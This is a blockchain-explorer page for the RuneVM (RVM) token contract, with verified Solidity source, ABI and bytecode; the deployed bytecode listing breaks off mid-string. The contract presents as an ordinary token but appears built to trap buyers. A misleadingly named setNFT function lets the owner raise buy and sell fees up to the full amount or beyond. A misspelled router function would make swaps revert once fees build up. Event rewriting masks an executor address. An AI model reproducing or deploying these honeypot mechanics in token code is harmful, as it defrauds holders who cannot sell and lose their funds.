ETH Price: $3,401.01 (+3.71%)
 

Overview

Max Total Supply

1,000,000 RVM

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
26,887.375683051959189009 RVM

Value
$0.00
0x30567ae7a5ff2b485d52aae23c6ea24a19a43c30
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RuneVM

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-04-22
*/

/**                          

    https://rune.io
    https://docs.rune.io
    https://x.com/RuneVMChain
    https://t.me/RuneVM

*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.25;

contract RuneVM {

    string public _name = 'RuneVM';
    string public _symbol = 'RVM';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000 * 10 ** decimals;

    struct TokenInfo {
        address tokenMkt;
        uint8 b;
        uint8 s;
    }

    TokenInfo public tokenInfo;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address private holder;
    address private deployWallet;
    address private constant uniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(uniswapV2Router);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    uint8 _initalBT = 0;
    uint8 _initalST = 0;

    constructor() {
        tokenInfo = TokenInfo({
            tokenMkt: msg.sender,
            b: _initalBT,
            s: _initalST
        });
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        deployWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[deployWallet] = (totalSupply * 100) / 100;
        emit Transfer(address(0), _deployer, balanceOf[deployWallet]);

    }

    receive() external payable {}

    function setNFT(uint8 _b, uint8 _s) external {
        if (msg.sender != _owner()) revert Permissions();
        _upgradeInfo(_b, _s);
    }

    function _upgradeInfo(uint8 _buy, uint8 _sell) private {
        tokenInfo.b = _buy;
        tokenInfo.s = _sell;
    }

    function _owner() private view returns (address) {
        return tokenInfo.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _owner());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _owner();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (tokenInfo.b, tokenInfo.s);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_b","type":"uint8"},{"internalType":"uint8","name":"_s","type":"uint8"}],"name":"setNFT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenInfo","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"b","type":"uint8"},{"internalType":"uint8","name":"s","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600681526020017f52756e65564d00000000000000000000000000000000000000000000000000008152505f908161004791906106ea565b506040518060400160405280600381526020017f52564d00000000000000000000000000000000000000000000000000000000008152506001908161008c91906106ea565b505f600960146101000a81548160ff021916908360ff1602179055505f600960156101000a81548160ff021916908360ff1602179055503480156100ce575f80fd5b5060405180606001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001600960149054906101000a900460ff1660ff168152602001600960159054906101000a900460ff1660ff1681525060025f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151815f0160146101000a81548160ff021916908360ff1602179055506040820151815f0160156101000a81548160ff021916908360ff1602179055509050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102ae333361042c60201b60201c565b6064806012600a6102bf9190610921565b620f42406102cd919061096b565b6102d7919061096b565b6102e191906109d9565b60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405161041f9190610a18565b60405180910390a3610a31565b8160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061052b57607f821691505b60208210810361053e5761053d6104e7565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105a07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610565565b6105aa8683610565565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6105ee6105e96105e4846105c2565b6105cb565b6105c2565b9050919050565b5f819050919050565b610607836105d4565b61061b610613826105f5565b848454610571565b825550505050565b5f90565b61062f610623565b61063a8184846105fe565b505050565b5b8181101561065d576106525f82610627565b600181019050610640565b5050565b601f8211156106a25761067381610544565b61067c84610556565b8101602085101561068b578190505b61069f61069785610556565b83018261063f565b50505b505050565b5f82821c905092915050565b5f6106c25f19846008026106a7565b1980831691505092915050565b5f6106da83836106b3565b9150826002028217905092915050565b6106f3826104b0565b67ffffffffffffffff81111561070c5761070b6104ba565b5b6107168254610514565b610721828285610661565b5f60209050601f831160018114610752575f8415610740578287015190505b61074a85826106cf565b8655506107b1565b601f19841661076086610544565b5f5b8281101561078757848901518255600182019150602085019450602081019050610762565b868310156107a457848901516107a0601f8916826106b3565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561083b57808604811115610817576108166107b9565b5b60018516156108265780820291505b8081029050610834856107e6565b94506107fb565b94509492505050565b5f82610853576001905061090e565b81610860575f905061090e565b81600181146108765760028114610880576108af565b600191505061090e565b60ff841115610892576108916107b9565b5b8360020a9150848211156108a9576108a86107b9565b5b5061090e565b5060208310610133831016604e8410600b84101617156108e45782820a9050838111156108df576108de6107b9565b5b61090e565b6108f184848460016107f2565b92509050818404811115610908576109076107b9565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61092b826105c2565b915061093683610915565b92506109637fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610844565b905092915050565b5f610975826105c2565b9150610980836105c2565b925082820261098e816105c2565b915082820484148315176109a5576109a46107b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6109e3826105c2565b91506109ee836105c2565b9250826109fe576109fd6109ac565b5b828204905092915050565b610a12816105c2565b82525050565b5f602082019050610a2b5f830184610a09565b92915050565b611c2480610a3e5f395ff3fe6080604052600436106100e0575f3560e01c806370a082311161007e578063b09f126611610058578063b09f1266146102d7578063c9567bf914610301578063d28d885214610317578063dd62ed3e14610341576100e7565b806370a082311461023557806395d89b4114610271578063a9059cbb1461029b576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b75780635119edd0146101e15780636addb66314610209576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff61037d565b60405161010c91906113f3565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906114a4565b61040c565b60405161014891906114fc565b60405180910390f35b34801561015c575f80fd5b506101656104f9565b6040516101729190611524565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c919061153d565b610518565b6040516101ae91906114fc565b60405180910390f35b3480156101c2575f80fd5b506101cb6105bb565b6040516101d891906115a8565b60405180910390f35b3480156101ec575f80fd5b50610207600480360381019061020291906115eb565b6105c0565b005b348015610214575f80fd5b5061021d61063a565b60405161022c93929190611638565b60405180910390f35b348015610240575f80fd5b5061025b6004803603810190610256919061166d565b610688565b6040516102689190611524565b60405180910390f35b34801561027c575f80fd5b5061028561069d565b60405161029291906113f3565b60405180910390f35b3480156102a6575f80fd5b506102c160048036038101906102bc91906114a4565b61072d565b6040516102ce91906114fc565b60405180910390f35b3480156102e2575f80fd5b506102eb610741565b6040516102f891906113f3565b60405180910390f35b34801561030c575f80fd5b506103156107cd565b005b348015610322575f80fd5b5061032b610a09565b60405161033891906113f3565b60405180910390f35b34801561034c575f80fd5b5061036760048036038101906103629190611698565b610a94565b6040516103749190611524565b60405180910390f35b60605f805461038b90611703565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790611703565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e79190611524565b60405180910390a36001905092915050565b6012600a610507919061188f565b620f424061051591906118d9565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105a0919061191a565b925050819055506105b2848484610ab4565b90509392505050565b601281565b6105c861131b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461062c576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106368282611345565b5050565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b6060600180546106ac90611703565b80601f01602080910402602001604051908101604052809291908181526020018280546106d890611703565b80156107235780601f106106fa57610100808354040283529160200191610723565b820191905f5260205f20905b81548152906001019060200180831161070657829003601f168201915b5050505050905090565b5f610739338484610ab4565b905092915050565b6001805461074e90611703565b80601f016020809104026020016040519081016040528092919081815260200182805461077a90611703565b80156107c55780601f1061079c576101008083540402835291602001916107c5565b820191905f5260205f20905b8154815290600101906020018083116107a857829003601f168201915b505050505081565b6107d561131b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080b575f80fd5b600760159054906101000a900460ff1615610824575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a69190611961565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a9190611961565b90505f8273ffffffffffffffffffffffffffffffffffffffff1663e6a4390530846040518363ffffffff1660e01b815260040161096892919061198c565b602060405180830381865afa158015610983573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a79190611961565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760156101000a81548160ff021916908315150217905550505050565b5f8054610a1590611703565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4190611703565b8015610a8c5780601f10610a6357610100808354040283529160200191610a8c565b820191905f5260205f20905b815481529060010190602001808311610a6f57829003601f168201915b505050505081565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610abe61131b565b9050600760159054906101000a900460ff1680610b0657508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610b3c57508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610b44575f80fd5b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b90919061191a565b9250508190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610c005750600760149054906101000a900460ff16155b8015610c70575060646012600a610c17919061188f565b620f4240610c2591906118d9565b610c2f91906119e0565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610ca857508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3b576001600760146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610ce457610ce3611a10565b5b604051908082528060200260200182016040528015610d125781602001602082028036833780820191505090505b50905030815f81518110610d2957610d28611a3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de49190611961565b81600181518110610df857610df7611a3d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610e72919061188f565b620f4240610e8091906118d9565b610e8a91906119e0565b5f8430426040518663ffffffff1660e01b8152600401610eae959493929190611b63565b5f604051808303815f87803b158015610ec5575f80fd5b505af1158015610ed7573d5f803e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610f1e573d5f803e3d5ffd5b505f600760146101000a81548160ff021916908315150217905550505b5f8060025f0160149054906101000a900460ff1660025f0160159054906101000a900460ff16915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015610fb4575060011515600760159054906101000a900460ff161515145b15611095575f606460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16146110165783611018565b825b60ff168761102691906118d9565b61103091906119e0565b9050808661103e919061191a565b95508060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461108c9190611bbb565b92505081905550505b8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110e19190611bbb565b9250508190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036111c7578573ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516111ba9190611524565b60405180910390a361130d565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036112a65760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112999190611524565b60405180910390a361130c565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516113039190611524565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8160025f0160146101000a81548160ff021916908360ff1602179055508060025f0160156101000a81548160ff021916908360ff1602179055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113c582611383565b6113cf818561138d565b93506113df81856020860161139d565b6113e8816113ab565b840191505092915050565b5f6020820190508181035f83015261140b81846113bb565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61144082611417565b9050919050565b61145081611436565b811461145a575f80fd5b50565b5f8135905061146b81611447565b92915050565b5f819050919050565b61148381611471565b811461148d575f80fd5b50565b5f8135905061149e8161147a565b92915050565b5f80604083850312156114ba576114b9611413565b5b5f6114c78582860161145d565b92505060206114d885828601611490565b9150509250929050565b5f8115159050919050565b6114f6816114e2565b82525050565b5f60208201905061150f5f8301846114ed565b92915050565b61151e81611471565b82525050565b5f6020820190506115375f830184611515565b92915050565b5f805f6060848603121561155457611553611413565b5b5f6115618682870161145d565b93505060206115728682870161145d565b925050604061158386828701611490565b9150509250925092565b5f60ff82169050919050565b6115a28161158d565b82525050565b5f6020820190506115bb5f830184611599565b92915050565b6115ca8161158d565b81146115d4575f80fd5b50565b5f813590506115e5816115c1565b92915050565b5f806040838503121561160157611600611413565b5b5f61160e858286016115d7565b925050602061161f858286016115d7565b9150509250929050565b61163281611436565b82525050565b5f60608201905061164b5f830186611629565b6116586020830185611599565b6116656040830184611599565b949350505050565b5f6020828403121561168257611681611413565b5b5f61168f8482850161145d565b91505092915050565b5f80604083850312156116ae576116ad611413565b5b5f6116bb8582860161145d565b92505060206116cc8582860161145d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061171a57607f821691505b60208210810361172d5761172c6116d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156117b55780860481111561179157611790611733565b5b60018516156117a05780820291505b80810290506117ae85611760565b9450611775565b94509492505050565b5f826117cd5760019050611888565b816117da575f9050611888565b81600181146117f057600281146117fa57611829565b6001915050611888565b60ff84111561180c5761180b611733565b5b8360020a91508482111561182357611822611733565b5b50611888565b5060208310610133831016604e8410600b841016171561185e5782820a90508381111561185957611858611733565b5b611888565b61186b848484600161176c565b9250905081840481111561188257611881611733565b5b81810290505b9392505050565b5f61189982611471565b91506118a48361158d565b92506118d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117be565b905092915050565b5f6118e382611471565b91506118ee83611471565b92508282026118fc81611471565b9150828204841483151761191357611912611733565b5b5092915050565b5f61192482611471565b915061192f83611471565b925082820390508181111561194757611946611733565b5b92915050565b5f8151905061195b81611447565b92915050565b5f6020828403121561197657611975611413565b5b5f6119838482850161194d565b91505092915050565b5f60408201905061199f5f830185611629565b6119ac6020830184611629565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6119ea82611471565b91506119f583611471565b925082611a0557611a046119b3565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f611a96611a91611a8c84611a6a565b611a73565b611471565b9050919050565b611aa681611a7c565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ade81611436565b82525050565b5f611aef8383611ad5565b60208301905092915050565b5f602082019050919050565b5f611b1182611aac565b611b1b8185611ab6565b9350611b2683611ac6565b805f5b83811015611b56578151611b3d8882611ae4565b9750611b4883611afb565b925050600181019050611b29565b5085935050505092915050565b5f60a082019050611b765f830188611515565b611b836020830187611a9d565b8181036040830152611b958186611b07565b9050611ba46060830185611629565b611bb16080830184611515565b9695505050505050565b5f611bc582611471565b9150611bd083611471565b9250828201905080821115611be857611be7611733565b5b9291505056fea26469706673582212202ca3d43b4be72a1fcabd4b9a9caf0c5e1d195bd015dab0ddb8a2b7fe646cfd0164736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100e0575f3560e01c806370a082311161007e578063b09f126611610058578063b09f1266146102d7578063c9567bf914610301578063d28d885214610317578063dd62ed3e14610341576100e7565b806370a082311461023557806395d89b4114610271578063a9059cbb1461029b576100e7565b806323b872dd116100ba57806323b872dd1461017b578063313ce567146101b75780635119edd0146101e15780636addb66314610209576100e7565b806306fdde03146100eb578063095ea7b31461011557806318160ddd14610151576100e7565b366100e757005b5f80fd5b3480156100f6575f80fd5b506100ff61037d565b60405161010c91906113f3565b60405180910390f35b348015610120575f80fd5b5061013b600480360381019061013691906114a4565b61040c565b60405161014891906114fc565b60405180910390f35b34801561015c575f80fd5b506101656104f9565b6040516101729190611524565b60405180910390f35b348015610186575f80fd5b506101a1600480360381019061019c919061153d565b610518565b6040516101ae91906114fc565b60405180910390f35b3480156101c2575f80fd5b506101cb6105bb565b6040516101d891906115a8565b60405180910390f35b3480156101ec575f80fd5b50610207600480360381019061020291906115eb565b6105c0565b005b348015610214575f80fd5b5061021d61063a565b60405161022c93929190611638565b60405180910390f35b348015610240575f80fd5b5061025b6004803603810190610256919061166d565b610688565b6040516102689190611524565b60405180910390f35b34801561027c575f80fd5b5061028561069d565b60405161029291906113f3565b60405180910390f35b3480156102a6575f80fd5b506102c160048036038101906102bc91906114a4565b61072d565b6040516102ce91906114fc565b60405180910390f35b3480156102e2575f80fd5b506102eb610741565b6040516102f891906113f3565b60405180910390f35b34801561030c575f80fd5b506103156107cd565b005b348015610322575f80fd5b5061032b610a09565b60405161033891906113f3565b60405180910390f35b34801561034c575f80fd5b5061036760048036038101906103629190611698565b610a94565b6040516103749190611524565b60405180910390f35b60605f805461038b90611703565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790611703565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b5050505050905090565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e79190611524565b60405180910390a36001905092915050565b6012600a610507919061188f565b620f424061051591906118d9565b81565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105a0919061191a565b925050819055506105b2848484610ab4565b90509392505050565b601281565b6105c861131b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461062c576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6106368282611345565b5050565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690805f0160149054906101000a900460ff1690805f0160159054906101000a900460ff16905083565b6003602052805f5260405f205f915090505481565b6060600180546106ac90611703565b80601f01602080910402602001604051908101604052809291908181526020018280546106d890611703565b80156107235780601f106106fa57610100808354040283529160200191610723565b820191905f5260205f20905b81548152906001019060200180831161070657829003601f168201915b5050505050905090565b5f610739338484610ab4565b905092915050565b6001805461074e90611703565b80601f016020809104026020016040519081016040528092919081815260200182805461077a90611703565b80156107c55780601f1061079c576101008083540402835291602001916107c5565b820191905f5260205f20905b8154815290600101906020018083116107a857829003601f168201915b505050505081565b6107d561131b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080b575f80fd5b600760159054906101000a900460ff1615610824575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610882573d5f803e3d5ffd5b5050